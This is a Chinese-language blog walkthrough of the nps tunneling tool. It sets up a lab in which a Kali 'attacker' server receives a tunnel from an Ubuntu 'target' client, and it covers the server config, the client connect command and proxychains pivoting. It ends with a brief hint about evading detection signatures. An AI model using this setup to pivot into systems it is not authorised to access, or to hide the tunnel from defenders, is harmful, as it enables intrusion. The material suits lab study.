内网隧道之nps
前言
本文研究支持多种代理的一个工具,nps
github:https://github.com/ehang-io/nps
一、概述
1、简介
写于2018年,持续更新,用Go编写,支持多种协议,有GUI
2、原理
内容太丰富了,是个大集合
3、用法
参见官网:https://ehang-io.github.io/nps/#/
(1)服务端
配置文件nps/conf/nps.conf
安装
启动
安装后windows配置文件位于 C:\Program Files\nps,linux和darwin位于/etc/nps
停止和重启可用,stop和restart
(2)客户端
可以无配置文件,直接在服务端做好配置,然后将命令在客户端执行
./npc -server=ip:port -vkey=web界面中显示的密钥
也可以设置配置文件,那功能就多了,参见官网
二、实践
1、测试场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
2、建立隧道
(1)服务端
配置文件,内容非常多,根据需要修改
appname = nps
#Boot mode(dev|pro)
runmode = dev
#HTTP(S) proxy port, no startup if empty
http_proxy_ip=0.0.0.0
http_proxy_port=80
https_proxy_port=443
https_just_proxy=true
#default https certificate setting
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key
##bridge
bridge_type=tcp
bridge_port=8024
bridge_ip=0.0.0.0
# Public password, which clients can use to connect to the server
# After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.
public_vkey=123
#Traffic data persistence interval(minute)
#Ignorance means no persistence
#flow_store_interval=1
# log level LevelEmergency->0 LevelAlert->1 LevelCritical->2 LevelError->3 LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7
log_level=7
#log_path=nps.log
#Whether to restrict IP access, true or false or ignore
#ip_limit=true
#p2p
#p2p_ip=127.0.0.1
#p2p_port=6000
#web
web_host=a.o.com
web_username=kali
web_password=kali
web_port = 8080
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps
#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test
auth_crypt_key =1234567812345678
#allow_ports=9001-9009,10001,11000-12000
#Web management multi-user login
allow_user_login=false
allow_user_register=false
allow_user_change_username=false
#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false
#cache
http_cache=false
http_cache_length=100
#get origin ip
http_add_origin_header=false
#pprof debug options
#pprof_ip=0.0.0.0
#pprof_port=9999
#client disconnect timeout
disconnect_timeout=60
安装
./nps install
启动
nps start
登录(看这个界面就给跪了,太强了)
设置一个客户端
点击上图的隧道
启动
./npc -server=192.168.10.128:8024 -vkey=nfzp2xp2n742ge3h -type=tcp
显示连接
可以通过proxychains来代理流量到上面设置的1080端口
建立连接
有返回时间、版本等信息
心跳包
非常庞大完善,可深入学习
猜测是学frp的,有个配置文件,大把柄
绕过:写进程序里
端口,软件行为,进程,特征字符串特征码之类的
心跳包等
很强悍的工具
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。